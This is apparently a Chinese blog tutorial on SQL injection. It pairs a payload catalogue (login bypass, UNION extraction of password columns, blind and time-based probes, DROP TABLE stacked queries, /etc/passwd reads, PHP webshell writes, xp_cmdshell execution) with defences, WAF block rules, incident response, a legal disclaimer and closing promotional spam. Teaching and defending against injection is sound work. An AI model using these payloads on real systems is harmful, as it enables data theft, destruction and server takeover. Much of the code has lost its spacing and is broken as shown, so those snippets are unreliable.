SQL注入详解
什么是SQL注入?
SQL注入是一种将恶意SQL代码插入到应用程序输入参数中的攻击技术,攻击成功后可以获取、篡改或删除数据库数据,甚至控制数据库服务器。
攻击原理
-- 正常查询语句SELECT*FROMusersWHEREusername='[输入1]'ANDpassword='[输入2]'-- 攻击者输入:用户名:admin' -- 密码:任意值 -- 最终执行SQL: SELECT * FROM users WHERE username = 'admin' --'ANDpassword='任意值'-- '--' 是SQL注释符,后续条件被忽略,绕过密码验证常见攻击类型
1. 基于错误的注入
' OR 1=1 -- -- 永真条件 'OR'1'='1 -- 绕过验证 'AND1=2-- -- 永假条件,用于测试2. 联合查询注入
-- 获取数据库信息' UNION SELECT null,table_name FROM information_schema.tables -- -- 获取数据库版本 'UNIONSELECT1,@@version--'UNIONSELECTversion()-- -- PostgreSQL3. 盲注攻击
布尔盲注
-- 通过页面返回差异判断' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' -- 'AND(SELECTASCII(SUBSTRING(password,1,1))FROMusers)=97--时间盲注
-- MySQL' AND IF(1=1,SLEEP(5),0) -- 'ANDIF((SELECTSUBSTRING(password,1,1)FROMusers)='a',SLEEP(5),0)---- SQL Server'; WAITFOR DELAY '0:0:5' -- -- PostgreSQL 'AND(SELECTpg_sleep(5)FROMusers)--4. 堆叠查询
-- 批量执行多条SQL'; DROP TABLE users; -- ';UPDATEusersSETpassword='hacked'WHEREid=1;---- MySQL需要启用multi_statements';SELECT*FROMusers;SELECT*FROMproducts--5. 二阶注入
-- 数据被存储后再次使用时触发-- 第一次输入(注册时):用户名:admin'-- 邮箱:test@example.com -- 第二次查询时触发: UPDATE users SET email='attacker@evil.com' WHERE username='admin'--'危险操作示例
数据泄露
-- 获取数据库结构' UNION SELECT table_schema,table_name FROM information_schema.tables -- -- 获取表字段 'UNIONSELECTcolumn_name,data_typeFROMinformation_schema.columnsWHEREtable_name='users'---- 获取敏感数据'UNIONSELECTusername,passwordFROMusers--文件系统访问
-- MySQL读文件' UNION SELECT LOAD_FILE('/etc/passwd'), NULL -- -- MySQL写文件 SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/shell.php' -- PostgreSQL读文件 'UNIONSELECTpg_read_file('/etc/passwd'),NULL--命令执行
-- SQL Server'; EXEC xp_cmdshell 'whoami' -- -- MySQL(需要FILE权限) SELECT sys_exec('cat/etc/passwd')数据库指纹识别
-- 识别数据库类型' AND @@version > 0 -- -- MS SQL Server 'ANDversion()>0-- -- PostgreSQL'ANDsubstring(@@version,1,1)=5-- -- MySQL 5.x防御措施
1. 参数化查询(预编译语句)
# Python示例importmysql.connector conn=mysql.connector.connect(...)cursor=conn.cursor(prepared=True)# 启用预编译# 安全:使用参数化查询sql="SELECT * FROM users WHERE username = %s AND password = %s"cursor.execute(sql,(username,password))// Java示例Stringsql="SELECT * FROM users WHERE username = ? AND password = ?";PreparedStatementstmt=conn.prepareStatement(sql);stmt.setString(1,username);stmt.setString(2,password);ResultSetrs=stmt.executeQuery();2. 输入验证与过滤
// 白名单验证functionvalidateInput($input,$type='alphanum'){switch($type){case'alphanum':returnpreg_match('/^[a-zA-Z0-9]+$/',$input);case'email':returnfilter_var($input,FILTER_VALIDATE_EMAIL);case'number':returnis_numeric($input);default:returnfalse;}}// 转义特殊字符(次要防线)$username=mysqli_real_escape_string($conn,$_POST['username']);3. 最小权限原则
-- 创建专用用户,仅授予必要权限CREATEUSER'webapp'@'localhost'IDENTIFIEDBY'StrongP@ssw0rd123!';GRANTSELECT,INSERT,UPDATEONmydb.usersTO'webapp'@'localhost';GRANTSELECTONmydb.productsTO'webapp'@'localhost';REVOKEDELETE,DROP,FILEON*.*FROM'webapp'@'localhost';FLUSHPRIVILEGES;4. 存储过程使用
-- 创建存储过程DELIMITER$$CREATEPROCEDUREGetUserByCredentials(INp_usernameVARCHAR(50),INp_passwordVARCHAR(50))BEGINSELECT*FROMusersWHEREusername=p_usernameANDpassword=SHA2(p_password,256);END$$DELIMITER;-- 调用存储过程CALLGetUserByCredentials('admin','password123');5. Web应用防火墙规则
# Nginx WAF规则示例 location / { # 阻止常见SQL注入特征 if ($query_string ~* "union.*select.*from") { return 403; } if ($query_string ~* "concat.*0x") { return 403; } if ($query_string ~* "sleep\(.*\)") { return 403; } if ($query_string ~* "benchmark\(.*\)") { return 403; } if ($query_string ~* "information_schema") { return 403; } # 限制特殊字符 if ($query_string ~* "[;'\"\(\)]") { return 403; } }6. 框架内置防护
# Django ORM示例(自动防注入)fromdjango.dbimportmodelsclassUser(models.Model):username=models.CharField(max_length=100)password=models.CharField(max_length=100)# 安全查询users=User.objects.filter(username=username,password=password)检测工具对比
| 工具名称 | 类型 | 特点 | 适用场景 |
|---|---|---|---|
| SQLMap | 自动化 | 功能最全,支持多种数据库 | 专业安全测试 |
| Burp Suite | 半自动 | 集成于代理,可定制攻击 | Web渗透测试 |
| Havij | GUI界面 | 用户友好,适合新手 | 快速测试 |
| SQLninja | 自动化 | 专注MSSQL,隐蔽性强 | 特定环境测试 |
| jSQL Injection | Java GUI | 跨平台,开源 | 教育学习 |
手动检测流程
📝 代码审计要点
高风险函数/方法
// PHP危险函数mysql_query()// 已弃用,不安全mysqli_query()// 直接拼接危险pg_query()// PostgreSQL直接拼接exec(),system()// 命令执行风险// Java风险模式Statement.execute()// 直接拼接SQLString.format()// 拼接SQL字符串StringBuilder// 拼接SQL安全代码示例
// 安全:使用PreparedStatementpublicUserauthenticate(Stringusername,Stringpassword){Stringsql="SELECT * FROM users WHERE username = ? AND password = ?";try(PreparedStatementstmt=connection.prepareStatement(sql)){stmt.setString(1,username);stmt.setString(2,hashPassword(password));try(ResultSetrs=stmt.executeQuery()){if(rs.next()){returnmapToUser(rs);}}}catch(SQLExceptione){logger.error("Authentication failed",e);returnnull;}returnnull;}🔧 应急响应步骤
立即隔离
# 临时阻断攻击IPiptables -A INPUT -s[攻击IP]-j DROP# 关闭相关服务端口systemctl stop mysql日志分析
-- 查看MySQL日志SHOWVARIABLESLIKE'%general_log%';-- 启用日志记录SETGLOBALgeneral_log='ON';SETGLOBALlog_output='TABLE';-- 查询攻击记录SELECT*FROMmysql.general_logWHEREargumentLIKE'%union%select%'ORargumentLIKE'%information_schema%'ORDERBYevent_timeDESC;数据备份与恢复
# 备份当前数据mysqldump -u root -p --all-databases>backup_$(date+%Y%m%d).sql# 从备份恢复mysql -u root -p<backup_clean.sql
法律法规
中国相关法律法规
- 《中华人民共和国网络安全法》
- 《中华人民共和国刑法》第285条(非法侵入计算机信息系统罪)
- 《中华人民共和国数据安全法》
- 《中华人民共和国个人信息保护法》
合规要求
- 等保2.0:三级以上系统需进行渗透测试
- GDPR:欧盟数据保护条例
- PCI DSS:支付卡行业数据安全标准
最佳实践清单
| 防护层级 | 具体措施 | 检查项 |
|---|---|---|
| 开发阶段 | 使用参数化查询 | [ ] 所有SQL查询使用预编译 |
| 输入验证 | [ ] 白名单验证已实施 | |
| 安全编码规范 | [ ] 已进行代码审计 | |
| 运维阶段 | 最小权限 | [ ] 数据库用户权限已限制 |
| 定期更新 | [ ] 数据库已打最新补丁 | |
| 日志监控 | [ ] SQL日志已启用并监控 | |
| 测试阶段 | 渗透测试 | [ ] 定期进行SQL注入测试 |
| 自动化扫描 | [ ] 使用工具进行漏洞扫描 | |
| 应急响应 | 应急预案 | [ ] 有明确的应急处理流程 |
| 备份恢复 | [ ] 定期备份并测试恢复 |
免责声明
本资料仅供学习防御技术使用!
- 所有技术仅可在授权环境下测试
- 未经授权攻击他人系统是违法行为
- 请遵守相关法律法规
- 建议在实验室环境或CTF比赛中练习
安全箴言:没有绝对的安全,只有持续的安全意识和完善的防御体系。保持学习,定期审计,多层防护是应对SQL注入的关键。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。****(全套教程文末领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!****(全套教程文末领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
**读者福利 |**CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享**(安全链接,放心点击)**